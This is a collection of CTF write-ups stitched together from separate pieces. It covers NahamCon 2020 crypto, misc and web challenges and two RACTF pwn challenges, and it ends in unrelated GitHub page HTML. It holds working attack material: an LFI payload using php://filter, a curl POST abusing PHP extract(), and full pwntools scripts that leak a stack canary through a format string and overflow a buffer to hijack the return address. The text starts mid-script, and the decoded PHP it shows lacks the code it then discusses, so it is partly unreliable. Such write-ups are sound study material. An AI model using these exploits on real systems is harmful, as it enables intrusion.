# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# Finches in a Stack
> There's a service at 88.198.219.20:13311, exploit it to get the flag.
## Description
Let's disassemble the binary with Ghidra. The main function calls the following function:
```cvoid say_hi(void){ char cVar1; uint uVar2; char *pcVar3; int in_GS_OFFSET; byte bVar4; char local_29 [4]; undefined2 uStack37; undefined local_22 [18]; int local_10; bVar4 = 0; local_10 = *(int *)(in_GS_OFFSET + 0x14); printf("Hi! What\'s your name? "); gets((char *)((int)&uStack37 + 1)); printf("Nice to meet you, "); uVar2 = 0xffffffff; pcVar3 = (char *)((int)&uStack37 + 1); do { if (uVar2 == 0) break; uVar2 = uVar2 - 1; cVar1 = *pcVar3; pcVar3 = pcVar3 + (uint)bVar4 * -2 + 1; } while (cVar1 != '\0'); *(undefined2 *)((int)&uStack37 + ~uVar2) = 0xa21; *(undefined *)((int)&uStack37 + ~uVar2 + 2) = 0; printf((char *)((int)&uStack37 + 1)); puts("Do YOU want to pet my canary?"); gets(local_29); if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail_local(); } return;}```
There are a lot of vulnerabilities here:- there is a first buffer overflow for buffer `local22 = &ustack37 + 1`- then there is a format string vulnerability which prints the content of this same buffer- finally the buffer `local29` can also be overflown.- there is another function `flag` implemented which leak the flag.
The issue is that canaray protection is enabled. With `checksec`, we remark that PIE is not enabled.
## Solution
The format string vulnerability can leak the value of the canaray. Therefore we exploit it to leak the canary value and use it when we overflow the second buffer to overwrite the return address with `flag` address.
```pythonfrom pwn import *
sh = remote('88.198.219.20', 30709)
print(sh.recvuntil("name?").decode())
# Leak canaryoffset = 11payload = "%{}$p".format(offset)sh.sendline(payload)
print(sh.recvuntil("you, ").decode(), end="")canary = sh.recvuntil("!").decode()print(canary)canary = int(canary.split("!")[0], 16)
# Overflowoffset_canary = 4*6+1offset_ret = 3*4flag = 0x80491d2 # PIE not enabledprint(sh.recvuntil("canary?").decode())payload = b" "*offset_canary + p32(canary) + b" "*offset_ret + p32(flag) + "".join([str(i)*4 for i in range(9)]).encode()
sh.sendline(payload)
sh.interactive()```
Flag: `ractf{St4ck_C4n4ry_FuN!}` |
# Finches in a Pie
> There's a service at 88.198.219.20:43174, exploit it to get the flag.
## Description
This problem is extremely similar to [Finches in a Stack](FinchesStack.md), except that PIE is enabled.
## Solution
The exploit is the same, except that we also leak the return address (to `main`), and deduce from it and the constant offset the address of `flag`.
```pythonfrom pwn import *
sh = remote('88.198.219.20', 52692)
print(sh.recvuntil("name?").decode())
# Leak canary and ret addressoffset_canary = 11offset_ret = 15payload = "%{}$p %{}$p".format(offset_canary, offset_ret)sh.sendline(payload)
print(sh.recvuntil("you, ").decode(), end="")answer = sh.recvuntil("!").decode()print(answer)answer = answer.split("!")[0]canary = int(answer.split(" ")[0], 16)ret_addr = int(answer.split(" ")[1], 16)
# Overflowoffset_canary = 4*6+1offset_ret = 3*4offset_flag = 0x56556209 - 0x565563d9print(sh.recvuntil("cake?").decode())payload = b" "*offset_canary + p32(canary) + b" "*offset_ret + p32(ret_addr + offset_flag) + "".join([str(i)*4 for i in range(9)]).encode()
sh.sendline(payload)
sh.interactive()```
Flag: `ractf{B4k1ng_4_p1E!}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B000:8CC1:15669820:1606CA57:64121F50" data-pjax-transient="true"/><meta name="html-safe-nonce" content="867b681e929c33697b4370e58c4cdd0ce7e3cdaac3ee952d3725444fe3c2da1d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMDAwOjhDQzE6MTU2Njk4MjA6MTYwNkNBNTc6NjQxMjFGNTAiLCJ2aXNpdG9yX2lkIjoiMzc0NDk0MjEwNzczNzA3MTQ0MCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="004defe0583356bd5a8e4be1de302fd5a733f248a202c1e340a7ae043f3736a7" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git">
<meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" />
<link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/crypto" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
